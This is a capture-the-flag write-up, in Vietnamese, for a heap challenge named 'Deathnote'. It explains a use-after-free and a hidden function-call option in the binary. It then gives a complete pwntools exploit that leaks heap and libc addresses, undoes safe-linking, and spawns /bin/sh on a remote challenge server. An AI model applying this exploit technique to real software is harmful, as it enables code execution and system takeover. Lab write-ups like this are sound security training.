# Apocalypse ## Deathnote * Đầu tiên ở chương trình sẽ có 1 mảng gốm 10 entries ![Screenshot 2024-03-22 192736](https://hackmd.io/_uploads/rJZvYxiAT.png) * Sau đó là 1 vòng lặp vô hạn vs các option ![Screenshot 2024-03-22 192829](https://hackmd.io/_uploads/B1M9Feo0T.png) * Hàm `add` ![Screenshot 2024-03-22 192915](https://hackmd.io/_uploads/rJxhKxs06.png) * Nó chỉ đơn giản là chọn size và index trong `entries` để set * Index không có `out òf bound` và size bị giới hạn trong khoảng `1` đến `0x80` * Ở đây ta thấy nó ko khởi tạo giá trị khi malloc nên sẽ còn xót lại những giá trị rác nên có thể dùng để leak * Hàm `show` ![Screenshot 2024-03-22 193125](https://hackmd.io/_uploads/rJCX9ejRa.png) * Chỉ đơn giản là in dữ liệu của 1 entry * Hàm `delete` ![Screenshot 2024-03-22 193159](https://hackmd.io/_uploads/SkP85ejCa.png) * Ở đây ta thấy nó `free` rồi nhưng mà ko clear giá trị trong `entries` nên ở đây ta có bug `use after free` * Có 1 lựa chọn nữa khi chúng ta nhập option `*` ![Screenshot 2024-03-22 193314](https://hackmd.io/_uploads/Skmo5xj0a.png) * Nó sẽ gọi hàm mà `entries[0]` trỏ vào và tham số là `entries[1]`, vậy nếu `entries[0]` chứa `system` còn `entries[1]` chứa `'/bin/sh` thì ta thắng ## Exploit * Ở đây mk `free` 8 chunks để làm đầy tcache rồi chúng ta sẽ có libc ```py= for i in range(9): add(0x80, i, b'A') for i in range(8): delete(i) show(7) p.recvuntil(b'Page content: ') leak = p.recvline()[:-1] leak = int.from_bytes(leak, byteorder='little') print('leak: ', hex(leak)) libc.address = leak - 2206944 print('libc: ', hex(libc.address)) ``` * Như vậy thì chỉ cần tạo `entries[0]` vs `entries[1]` nữa là xong ```py= from pwn import * sla = lambda delim, data: p.sendlineafter(delim, data) sa = lambda delim, data: p.sendafter(delim, data) elf = context.binary = ELF('deathnote') libc = ELF('./glibc/libc.so.6') def add(size, idx, content): sla(b'entry', b'1') sla(b'request', str(size).encode()) sla(b'Page', str(idx).encode()) sa(b'victim:', content) def show(idx): sla(b'entry', b'3') sla(b'Page', str(idx).encode()) def delete(idx): sla(b'entry', b'2') sla(b'Page', str(idx).encode()) def deobfuscate(val): mask = 0xfff << 52 while mask: v = val & mask val ^= (v >> 12) mask >>= 12 return val #context.log_level = 'debug' #p = process() p = remote('94.237.58.211', 55260) #gdb.attach(p, gdbscript=''' # b show # b _ # c''') add(0x10, 0, b'A') add(0x10, 1, b'A') delete(0) delete(1) show(1) p.recvuntil(b'Page content: ') leak = p.recvline()[:-1] leak = int.from_bytes(leak, byteorder='little') leak = deobfuscate(leak) print('leak: ', hex(leak)) heap = leak - 1712 print('heap: ', hex(heap)) for i in range(9): add(0x80, i, b'A') for i in range(8): delete(i) show(7) p.recvuntil(b'Page content: ') leak = p.recvline()[:-1] leak = int.from_bytes(leak, byteorder='little') print('leak: ', hex(leak)) libc.address = leak - 2206944 print('libc: ', hex(libc.address)) add(0x10, 0, hex(libc.symbols['system']).encode()) add(0x10, 1, b'/bin/sh\x00') p.sendlineafter(b'entry', b'42') p.interactive() ```